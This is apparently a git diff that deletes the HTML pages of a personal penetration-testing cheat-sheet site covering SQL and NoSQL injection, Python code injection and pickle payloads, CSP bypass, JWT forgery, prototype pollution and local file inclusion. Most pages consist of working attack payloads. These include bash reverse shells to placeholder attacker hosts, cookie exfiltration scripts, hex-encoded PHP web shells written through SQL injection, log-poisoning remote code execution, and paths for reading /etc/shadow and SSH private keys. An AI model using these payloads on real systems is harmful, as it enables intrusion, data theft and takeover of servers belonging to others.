- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

PadBuster

- -

Usage on Cookies

-
    -
  • Oracle on cookievalue, use website error message of invalid padding
    • -
  • A high privileged user account can be added as a target
    • -
-
 ./padBuster.pl http://10.10.135.100/index.php 3AJot%2F7S5NUiay66TEbzg0FkJkO3JGR3 8 -cookies "hcon=3AJot%2F7S5NUiay66TEbzg0FkJkO3JGR3" -error "<website error>"
-```sh
- ./padBuster.pl http://$TARGET_IP/index.php 3AJot%2F7S5NUiay66TEbzg0FkJkO3JGR3 8 -cookies "session=3AJot%2F7S5NUiay66TEbzg0FkJkO3JGR3" -error "<website error>" -plaintext '<user>=<username>'
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/python/code_injection.html b/build/exploit/python/code_injection.html deleted file mode 100644 index f4ca120..0000000 --- a/build/exploit/python/code_injection.html +++ /dev/null @@ -1,188 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Code Injection

-
    -
  • Python's input(), exec() and eval() makes it possible
    • -
-

Usage

-
    -
  • Payload example
    • -
-
eval("__import__('os').system('bash -i >& /dev/tcp/$TARGET_IP/$TARGET_PORT 0>&1')#")
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/python/jail_escape.html b/build/exploit/python/jail_escape.html deleted file mode 100644 index 5986077..0000000 --- a/build/exploit/python/jail_escape.html +++ /dev/null @@ -1,197 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Escaping Jails

- -

Usage

-
    -
  • Circumvent via __builtins__
    • -
-
dir(__builtins__)
-
- -
__builtins__.__dict__
-
- -
    -
  • Call builtins
    • -
-
__builtins__.__dict__['__IMPORT__'.lower()]('OS'.lower()).__dict__['SYSTEM'.lower()]('/bin/bash -p')
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/python/lib_hijack.html b/build/exploit/python/lib_hijack.html deleted file mode 100644 index a52f427..0000000 --- a/build/exploit/python/lib_hijack.html +++ /dev/null @@ -1,205 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Library Hijacking

- -

Interpreter might be called invoking sudo

-
    -
  • Write into a library called inside the script
    • -
-

Path call order of packages

-
    -
  • Order of paths which are invoked to find packages may be found via
    • -
-
python -c 'import sys; print("\n".join(sys.path))'
-
- -
    -
  • Higher order directory on a path may have write permission. Insert a similar named package that gets called in the script.
    • -
  • The highest order is pwd
    • -
-

Redirecting PYTHONPATH

-
    -
  • SETENV may be set while loading script through sudo
    • -
-
sudo PYTHONPATH=/tmp/ /usr/bin/python3.6 <script.py>
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/python/pickle.html b/build/exploit/python/pickle.html deleted file mode 100644 index 5a89817..0000000 --- a/build/exploit/python/pickle.html +++ /dev/null @@ -1,200 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Pickle

-

Payload

-
    -
  • Inject payload
    • -
-
import pickle
-import os
-import base64
-class evil_object(object):
-    def __reduce__(self):
-        return(os.system, ('/bin/bash',))
-x = evil_object()
-x = evil_object()
-y = pickle.dumps(x)
-base64.b64encode(y)
-
- -
    -
  • Dump serialized object via
    • -
-
pickle.dump(SerializedPickle(), open('pickled.out', 'wb')
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/python/pwntools.html b/build/exploit/python/pwntools.html deleted file mode 100644 index 94d810b..0000000 --- a/build/exploit/python/pwntools.html +++ /dev/null @@ -1,179 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Pwntools

- - -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/python/pyc.html b/build/exploit/python/pyc.html deleted file mode 100644 index df0f948..0000000 --- a/build/exploit/python/pyc.html +++ /dev/null @@ -1,178 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Decompile PYC

-
uncompyle6 file.pyc
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/python/scapy.html b/build/exploit/python/scapy.html deleted file mode 100644 index 32fda87..0000000 --- a/build/exploit/python/scapy.html +++ /dev/null @@ -1,179 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Scapy

- - -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/samba/smbmap.html b/build/exploit/samba/smbmap.html deleted file mode 100644 index 8977e57..0000000 --- a/build/exploit/samba/smbmap.html +++ /dev/null @@ -1,188 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

smbmap

-
    -
  • Repo
    • -
  • python3 -m pip install -r requirements.txt
    • -
-

Usage

-
    -
  • -x execute command on server
    • -
  • -s enumerate share
    • -
-
smbmap -u "admin" -p "password" -H "10.10.10.10" -x 'ipconfig'
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/sqli/mssql.html b/build/exploit/sqli/mssql.html deleted file mode 100644 index 58ab465..0000000 --- a/build/exploit/sqli/mssql.html +++ /dev/null @@ -1,184 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

MSSQL

-

Usage

-
    -
  • sqsh as a shell
    • -
  • After connection is established check `xp_cmdshell'
    • -
-
xp_cmdshell 'whoami';
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/sqli/no_sqli.html b/build/exploit/sqli/no_sqli.html deleted file mode 100644 index 2a69ffc..0000000 --- a/build/exploit/sqli/no_sqli.html +++ /dev/null @@ -1,228 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

NoSQL Injections

-
    -
  • No tables, but files (collections)
    • -
  • Examples are Elasticsearch, MongoDB, Redis, CouchDB.
    • -
-

Querying

- -

Operators

-
    -
  • Most common
    • -
-
$and
-$or
-$eq
-$ne
-$gt
-$where
-$exists
-$regex
-
- -

Tips & Tricks

-
    -
  • Pass HTTP parameter as an array instead of user= and password= use user[$operator]=foo and password[$operator]=bar
      -
    • 2D array via user[$nin][]=foo
      • -
    -
    • -
-

Example

-
    -
  • POST or GET parameters
    • -
-
username=admin&password[$ne]=admin
-
- -
    -
  • JSON
    • -
-
{"username":"user","password":{"$ne":""} }
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/sqli/sqli.html b/build/exploit/sqli/sqli.html deleted file mode 100644 index 6a45120..0000000 --- a/build/exploit/sqli/sqli.html +++ /dev/null @@ -1,383 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

SQL Injection

- -

Finding an Opportunity

-
    -
  • GET parameter
    • -
-
http://example.com/index.php?id=' or 1=1 -- -
-
- -
    -
  • Sometimes an ID or may come first
    • -
-
http://example.com/index.php?id=10 or 1=1 -- +
-http://example.com/index.php?id=10' or '1'='1'-- -
-http://example.com/index.php?id=-1' or 1=1 -- -&password=x
-
- -
    -
  • Provoke error to gain information
    • -
-
http://example.com/index.php?id='
-
- -
    -
  • Incase of client side sanitization craft the URL instead of using the form!!!
    • -
-

Usage

-
    -
  • Example, terminate string via ' and resolve via tautology, comment the rest of the string via --
    • -
-
SELECT * FROM users WHERE username = admin AND password := ' and 1=1 -- -
-SELECT * FROM users WHERE username = admin AND password := ' or 1=1 --+
-
- -

Boolean True and False

-
SELECT * FROM users WHERE username = admin AND password :=1' or 1 < 2 --+
-SELECT * FROM users WHERE username = admin AND password :=1' or 1 > 2 --+
-
- -
    -
  • Blind boolean base substring fuzzing, one char at a time, by inspecting the return value after each inserted char.
    • -
-
' UNION SELECT null,null,null where database() like 'da%';-- -
-
- -

Time based

-
    -
  • Checking input blindly via sleep() function. Count number of cols in this way. If it is successful, the sleep(5) function executes
    • -
-
' union select sleep(3), null; -- -
-
- -

Blind injection // Guessing characters

-
http://example.com/?id=1' and substr((select database()),1,1) < 105 --+
-
- -
http://example.com/?id=1' and (ascii(substr((select database(),1,1)) = 115 --+
-
- -
    -
  • Function substr(string, start, length)
    • -
  • sqlmap via --level=5 --risk=3 --dbms=sqlite --technique=b --dump
    • -
-

Union based

-
    -
  • _First method__ check by order until error occurs
    • -
-
' order by 1 -- -
-' order by 2 -- -
-' order by 3 -- -
-
- -
    -
  • Second method fuzzing NULL values, followed by fuzzing data types
    • -
  • Check number of cols
    • -
-
' UNION SELECT NULL--
-' UNION SELECT NULL,NULL--
-' UNION SELECT NULL,NULL,NULL--
-# until the error occurs
-
- -
    -
  • Check which one is a string
    • -
-
' UNION SELECT 'a',NULL,NULL,NULL--
-' UNION SELECT NULL,'a',NULL,NULL--
-' UNION SELECT NULL,NULL,'a',NULL--
-' UNION SELECT NULL,NULL,NULL,'a'--
-
- -
    -
  • Retrieve content, for cols and comment two times as an example. Or dump database
    • -
-
' UNION SELECT NULL,NULL,database(),NULL,NULL from users -- //
-' UNION SELECT NULL,username,password,NULL FROM users -- //
-
- -
    -
  • Retrieve content by union poking the count and order, afterwards extracting tables via
    • -
-
0 union select null, null, database()
-0 union select null, null, group_concat(table_name) from information_schema.tables where table_schema = 'found_db'
-0 union select null, null, group_concat(column_name) from information_schema.columns where table_name = 'found_tablename'
-0 union select null, null, group_concat(username, ':', password from found_tablename
-
- - -

Identify Database

-
id=sqlite_version()
-id=@@version # mysql/mssql
-id=(SELECT banner FROM v$version) # oracle
-
- -

SQL Functions

-
    -
  • Use sql functions to fumble the tables & cols via union
    • -
  • source
    • -
  • Extract tables
    • -
-
1' and 1=2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema = database() -- -
-
- -
    -
  • sqlite specific
    • -
-
' UNION SELECT sql, sql FROM sqlite_master -- -
-
- -
(SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='usertable')
-(SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%')
-
- -
    -
  • Extract cols
    • -
-
1' and 1=2 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema = database() and table_name ='user'-- -
-
- -
    -
  • Data from cols
    • -
-
1' and 1=2 union select 1,group_concat(username,0x3a,password),3,4 from user-- -
-
- -

Insert

-
    -
  • Check user file permissions
    • -
-
union all select 1,group_concat(user,0x3a,file_priv),3,4 from mysql.user -- -
-
- -
    -
  • Insert file through insertion of system() or exec_shell() and a get parameter
    • -
-
<cookieID>'into outfile '/var/www/html/shello.php' lines terminated by 0x3c3f706870206563686f20223c7072653e22202e2073797374656d28245f4745545b22636d64225d29202e20223c2f7072653e223b3f3e -- -
-
- -
    -
  • Insert <?php system($_GET["cmd"]); ?>
    • -
-
" Union Select 1,0x201c3c3f7068702073797374656d28245f4745545b2018636d6420195d293b203f3e201d,3,4 INTO OUTFILE '/var/www/html/shell.php' -- -
-
- -

Examples

-
    -
  • sqli inside HTTP request to an API. Five values inside select have been discovered before
    • -
-
GET /about/0 UNION select column_name, null,null,null,null from information_schema.columns where table_name = 'user' HTTP/1.1
-
- -
* Get col names 
-```HTTP
-GET /about/0 UNION all select group_concat(column_name), null,null,null,null from information_schema.columns where table_name = 'user' HTTP/1.1
-```
-* Get notes from users by id 
-```HTTP
-GET /about/0 UNION all select notes, null, null, null, null from users where id = 4711 HTTP/1.1
-```
-
- -

Payloads

- - -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/sqli/sqlmap.html b/build/exploit/sqli/sqlmap.html deleted file mode 100644 index 79ed714..0000000 --- a/build/exploit/sqli/sqlmap.html +++ /dev/null @@ -1,228 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

SQLmap

- -

Usage

-
    -
  • Use -r with a saved HTTP request
    • -
-
sqlmap -r request.txt --dbms=mysql --dump
-sqlmap -r request.txt --batch
-
- -
    -
  • Select form data automatically
    • -
-
sqlmap -u http://<target-IP>/site.php --forms --dump-all
-
- - -

|Parameter|Details| -|-r|Uses the intercepted request save as a file| -|--dbms|DBMS of target| -|--dump|Dump the entire database| -|--dump-all|Dump everything| -|-p |TESTPARAMETER| -|--os-shell|Prompt for an interactive operating system shell| -|--os-pwn|Prompt for an OOB shell, Meterpreter or VNC| -|--tables|Show tables| -|-T|Specify table|

-

Other Tools

-

Damn Small SQLi Scanner (DSSS)

- -
python dsss.py -u "http://example.com/index.php?id="
-
- -

Online sqlmap

- - -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/ssl_tls/heartbleed.html b/build/exploit/ssl_tls/heartbleed.html deleted file mode 100644 index 4618c71..0000000 --- a/build/exploit/ssl_tls/heartbleed.html +++ /dev/null @@ -1,186 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Heartbleed

-
    -
  • SSL V1.0.1 and V1.0.1f
    • -
  • Client sends msg, msglength
    • -
  • -

    If msg is 0 and the msglength is longer, return from server is arbitrary memory content

    -
    • -
  • -

    Heartbleed

    -
    • -
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/web/bypass_rate_limiting/bypass_rate_limiting.html b/build/exploit/web/bypass_rate_limiting/bypass_rate_limiting.html deleted file mode 100644 index f1df03d..0000000 --- a/build/exploit/web/bypass_rate_limiting/bypass_rate_limiting.html +++ /dev/null @@ -1,194 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Bypassing Rate Limit

- -

Usage

-
    -
  • Add one of the following lines to the header in round robin
    • -
-
X-Originating-IP: 127.0.0.1
-X-Forwarded-For: 127.0.0.1
-X-Remote-IP: 127.0.0.1
-X-Remote-Addr: 127.0.0.1
-X-Client-IP: 127.0.0.1
-X-Host: 127.0.0.1
-X-Forwared-Host: 127.0.0.1
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/web/command_injection.html b/build/exploit/web/command_injection.html deleted file mode 100644 index 34cac5d..0000000 --- a/build/exploit/web/command_injection.html +++ /dev/null @@ -1,200 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Command Injection

-
    -
  • Blind injection
    • -
  • Verbose injection
    • -
-

Blind Injection

-
    -
  • Check via ping, open a tcpdump on ICMP to listen for packets
    • -
  • Redirect to logfile and read
    • -
  • Use sleep or timeout to check if ci is possible in general
    • -
-

Functions

-
    -
  • Watch out for
      -
    • eval()
      • -
    • exec()
      • -
    • passthru()
      • -
    • system()
      • -
    -
    • -
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/web/content_security_policy/content_security_policy.html b/build/exploit/web/content_security_policy/content_security_policy.html deleted file mode 100644 index f467bdc..0000000 --- a/build/exploit/web/content_security_policy/content_security_policy.html +++ /dev/null @@ -1,241 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Content Security Policy (CSP)

- -

Sources

-
    -
  • * wildcard
    • -
  • none
    • -
  • self for sources delivered through the same protocol
      -
    • default-src 'self'; may not load any script
      • -
    -
    • -
  • unsafe-inline
    • -
  • unsafe-eval
    • -
  • test.com loads resources from domain but not subdomains
    • -
  • *.test.com loads resources from subdomains
    • -
  • data:<content-type>... critical usage
    • -
  • nonce loads if nonce is correct. sha256, sha384, sha512 -
    • -
-

Usage

-

JSONP

-

Find JSONP endpoints through which to use custom callback functions -* JSONBee

-
"><script+src="https://bebezoo.1688.com/fragment/index.htm?callback=alert(1337)"></script>
-
- -

Misconfiguration

-

Insert payload into src attribute

-

Exfiltration

-
    -
  • Beeceptor
    • -
  • Local webserver
    • -
  • connect-src while Ajax/XHR requests are enabled
    • -
  • Disguising as an image-src or media-src source
    • -
-
<script>(new Image()).src = `https://example.com/${encodeURIComponent(document.cookie)}`</script>
-
- -

other payloads

-
<link id="csp" rel=stylesheet href="" /><script nonce="abcdef">document.getElementById("csp").href="http://<attacker-IP>:8000/" + document.cookie;</script>
-
- -
    -
  • -
-
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.3/prototype.min.js" integrity="sha512-C4LuwXQtQOF1iTRy3zwClYLsLgFLlG8nCV5dCxDjPcWsyFelQXzi3efHRjptsOzbHwwnXC3ZU+sWUh1gmxaTBA==" crossorigin="anonymous"></script>
-<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.2/angular.min.js"></script>
-<div ng-app ng-csp>
-{{$on.curry.call().document.location='https://<attacker-IP>/' + $on.curry.call().document.cookie}}
-</div>
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/web/cookie_tampering.html b/build/exploit/web/cookie_tampering.html deleted file mode 100644 index 9e77cb0..0000000 --- a/build/exploit/web/cookie_tampering.html +++ /dev/null @@ -1,201 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Cookie Tampering

-

Components

-
    -
  • Separator is ;
    • -
  • Name
    • -
  • Value
    • -
  • Domain
    • -
  • Path
    • -
  • Expires/Maxage
    • -
  • Size
    • -
  • HttpOnly, no access by client side scripts
    • -
  • Secure, HTTPs only
    • -
  • SameSite, cookie sent through cross-site request
    • -
  • SameParty, firt party requests only
    • -
  • Priority
    • -
-

Response

-
    -
  • May look like this
    • -
-
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Secure; HttpOnly
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/web/csrf.html b/build/exploit/web/csrf.html deleted file mode 100644 index 155124c..0000000 --- a/build/exploit/web/csrf.html +++ /dev/null @@ -1,190 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

CSRF

-

Protection

-
    -
  • May be a hidden field with an encoded value
    • -
-
    <input type="hidden" name="csrf_protect" value="eyJk..n0=">
-
- -
    -
  • This field need to be removed in order to do some csrf shenanigans
    • -
  • Decode the value to reproduce some valid content.
    • -
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/web/forced_browsing/forced_browsing.html b/build/exploit/web/forced_browsing/forced_browsing.html deleted file mode 100644 index bbcd939..0000000 --- a/build/exploit/web/forced_browsing/forced_browsing.html +++ /dev/null @@ -1,201 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Forced Browsing

-

Forced browsing is the art of using logic to find resources on the website that you would not normally be able to access. For example let's say we have a note taking site, that is structured like this. http://example.com/user1/note.txt. It stands to reason that if we did http://example.com/user2/note.txt we may be able to access user2's note.

-

Usage

-

Tools

-

wfuzz

-
    -
  • pip install wfuzz
    • -
-
wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/big.txt --hw 57 http://10.10.28.2/FUZZ/note.txt
-
- -

|Parameter|Detail| -|---------|------| -|-c|Shows the output in color| -|-z|Specifies what will replace FUZZ in the request. For example -z file,big.txt will read through all the lines of big.txt and replace FUZZ with| -|--hc|Don't show certain http response codes| -|--hl|Don't show a certain amount of lines in the response| -|--hh|Don't show a certain amount of words| -|--hw|Don't show word response return val of this length|

- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/web/http_header_injection.html b/build/exploit/web/http_header_injection.html deleted file mode 100644 index 94d64ab..0000000 --- a/build/exploit/web/http_header_injection.html +++ /dev/null @@ -1,185 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

HTTP Header Injection & Cache Poisoning

-

References

- - -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/web/idor/idor.html b/build/exploit/web/idor/idor.html deleted file mode 100644 index 8941783..0000000 --- a/build/exploit/web/idor/idor.html +++ /dev/null @@ -1,177 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Insecure Direct Object Reference (IDOR)

-

Changing URL parameters.

- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/web/javascript/bypass_filters.html b/build/exploit/web/javascript/bypass_filters.html deleted file mode 100644 index 9794a2f..0000000 --- a/build/exploit/web/javascript/bypass_filters.html +++ /dev/null @@ -1,189 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Client Filters

-
    -
  • Circumvent client side filters via
      -
    • Disable javascript
      • -
    • Use curl
      • -
    -
    • -
-
curl -X POST -F "submit=<value>" -F "<file-parameter>=@<path-to-file>" <site>
-
- -
* Intercept and modify incoming page via Burpsuite
-* Intercept and modify upload of already loaded page via Burpsuite
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/web/javascript/prototype_pollution.html b/build/exploit/web/javascript/prototype_pollution.html deleted file mode 100644 index 3005867..0000000 --- a/build/exploit/web/javascript/prototype_pollution.html +++ /dev/null @@ -1,222 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Prototype Pollution

-
    -
  • Overwrite built in properties, like constructor, toString of an object.
    • -
  • Any other instance inherits properties from Object.__proto__. toString() is inherited by all objects.
    • -
-

Usage

-
    -
  • Access to prototype inside object, as an example Javascript
    • -
-
obj.__proto__
-Object.prototype
-
- -
    -
  • Create object
    • -
-
let obj = {}
-
- -
    -
  • Create properties inside __proto__.
    • -
-
obj.__proto__.isAdmin = true
-
- -

Start Node commands

-
    -
  • Use
      -
    • require
      • -
    • eval
      • -
    -
    • -
-

Kibana CVE 2019

-
    -
  • Write reverse bash into variable
    • -
-
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -c \'bash -i >& /dev/tcp/<attacker-IP>/4444 0>&1\'");//')
-.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/web/jwt/jwt.html b/build/exploit/web/jwt/jwt.html deleted file mode 100644 index 8a8d62f..0000000 --- a/build/exploit/web/jwt/jwt.html +++ /dev/null @@ -1,278 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

JSON Web Token

-

Build up

-
header.payload.signature
-
- -
    -
  1. Header: This consists of the algorithm used and the type of the token.
    2. -
-
{  "alg": "HS256", "typ": "JWT"}
-
- -
    -
  1. -

    Payload: This is part that contains the access given to the certain user etc. This can vary from website to website, some can just have a simple username and some ID and others could have a lot of other details.

    -
    2. -
  2. -

    Signature: This is the part that is used to make sure that the integrity of the data was maintained while transferring it from a user's computer to the server and back. This is encrypted with whatever algorithm or alg that was passed in the header's value. And this can only be decrypted with a predefined secret(which should be difficult to)

    -
    3. -
-

NONE Algorithm Vulnerability

-
    -
  • Example with alg: NONE, so no third part is needed.
    • -
-
eyJ0eXAiOiJKV1QiLCJhbGciOiJOT05FIn0K.eyJleHAiOjE1ODY3MDUyOTUsImlhdCI6MTU4NjcwNDk5NSwibmJmIjoxNTg2NzA0OTk1LCJpZGVudGl0eSI6MH0K.
-
- -
    -
  • Encoded headers are as follows
      -
    • {"type": "JWT", "alg": "none"} - eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0
      • -
    • {"typ":"JWT","alg":"NONE"} with trailing \n - eyJ0eXAiOiJKV1QiLCJhbGciOiJOT05FIn0K
      • -
    -
    • -
-

Brute Force

-
HMACSHA256( base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)
-
- - -

|Parameter|Details| -|---------|-------| -|Token | The HS256 JWT Token| -|Alphabet |Alphabet used to crack (default:"abcdefghijklmnopqrstuvwxyz")| -|max-length|Secret max length (default: 12)|

-
[whackx@manbox jwt-cracker]$ node index.js eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.it4Lj1WEPkrhRo9a2-XHMGtYburgHbdS5s7Iuc1YKOE abcdefghijklmnopqrstuvwxyz 4
-Attempts: 100000
-Attempts: 200000
-Attempts: 300000
-SECRET FOUND: pass
-Time taken (sec): 11.605
-Attempts: 346830
-
- -

HS256 Vulnerability

-

It is calculated by using server K_pub, which may be gained via content of the server cert

-

Build Up

-
    -
  • Changing the header to {"typ": "JWT", "alg": "HS256"}, spaces inbetween values.
    • -
-
$ echo -n '{"typ": "JWT", "alg": "HS256"}' | base64
-eyJ0eXAiOiAiSldUIiwgImFsZyI6ICJIUzI1NiJ9
-
- -
    -
  • Encoding the payload, no spaces inbetween. Cut == at the end.
    • -
-
echo -n '{"iss":"http://localhost","iat":1585323784,"exp":1585323904,"data":{"hello":"world"}}' | base64
-eyJpc3MiOiJodHRwOi8vbG9jYWxob3N0IiwiaWF0IjoxNTg1MzIzNzg0LCJleHAiOjE1ODUzMjM5MDQsImRhdGEiOnsiaGVsbG8iOiJ3b3JsZCJ9fQ== 
-
- -
    -
  • Crafting the HMAC signature
      -
    • Convert K_pub file to hex -sh -cat id_rsa.pub | xxd -p | tr -d "\\n"
      • -
    • Sign the message to get the signature as hex value -sh -echo -n "eyJ0eXAiOiAiSldUIiwgImFsZyI6ICJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vbG9jYWxob3N0IiwiaWF0IjoxNTg1MzIzNzg0LCJleHAiOjE1ODUzMjM5MDQsImRhdGEiOnsiaGVsbG8iOiJ3b3JsZCJ9fQ" | openssl dgst -sha256 -mac HMAC -macopt hexkey <converted_public_hex>
      • -
    • Decode hex to binary data and reencode as base64 via python -python -python -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('<signature_as_hexval>')).replace('=','')\")"
      • -
    -
    • -
-

Tools

- - -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/web/local_file_inclusion.html b/build/exploit/web/local_file_inclusion.html deleted file mode 100644 index f8a39a7..0000000 --- a/build/exploit/web/local_file_inclusion.html +++ /dev/null @@ -1,296 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Local File Inclusion

-

To test for LFI what we need is a parameter on any URL or other inputs, i.e. request body which includes a file. A parameter in the URL can look like https://test.com/?file=robots.txt, the file may be changed.

- -

PHP Functions

-
    -
  • Functions provoking an LFI
    • -
-
include()
-require()
-include_once ()
-require_once()
-
- -

Usage

-
    -
  • Exploit URL parameter by including other files.
    • -
-
http://example.com/home?page=about.html
-http://example.com/home?page=/etc/passwd
-
- -
* changed to path traversal, with [interesting files](https://github.com/cyberheartmi9/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal#basic-lfi-null-byte-double-encoding-and-other-tricks)
-```
-http://example.com/home?page=../../../../etc/passwd
-```
-or
-```
-http://example.com/home?page=html/../../../home/<username>/.ssh/id_rsa
-```
-
- -

Log Poisoning

-
    -
  • Inject malicious code into logfiles before using path traversal to open the logfile and trigger the rce.
    • -
  • www-data needs read & write permisson in order to do so.
    • -
  • Include php code into the User-Agent header of the HTTP request. For example a GET parameter to deliver system commandsas follows
    • -
-
curl 'http://<TARGETIP>/lfi/lfi.php?page=/var/log/apache2/access.log' -H 'Host: <TARGETIP>' -H 'User-Agent: Mozilla/5.0 <?php system($_GET['lfi']); ?> Firefox/70.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'DNT: 1' -H 'Upgrade-Insecure-Requests: 1'
-
- -
    -
  • Follow up with a request to
    • -
-
curl 'http://<TARGETIP>/lfi/lfi.php?page=/var/log/apache2/access.log&lfi=ls%20../'
-
- -

/proc/self/fd

-
    -
  • outpost24
    • -
  • Log poisoning and opening logfile via /proc/self/fd/xx.
    • -
-

Files of Interest

-
    -
  • /etc/issue
    • -
  • /etc/profile
    • -
  • /proc/version
    • -
  • /etc/passwd
    • -
  • /etc/apache2/.htpasswd
    • -
  • /etc/shadow
    • -
  • /etc/group
    • -
  • /etc/motd
    • -
  • /etc/mysql/my.cnf
    • -
  • /root/.bash_history
    • -
  • /var/log/dmessage
    • -
  • /var/mail/root
    • -
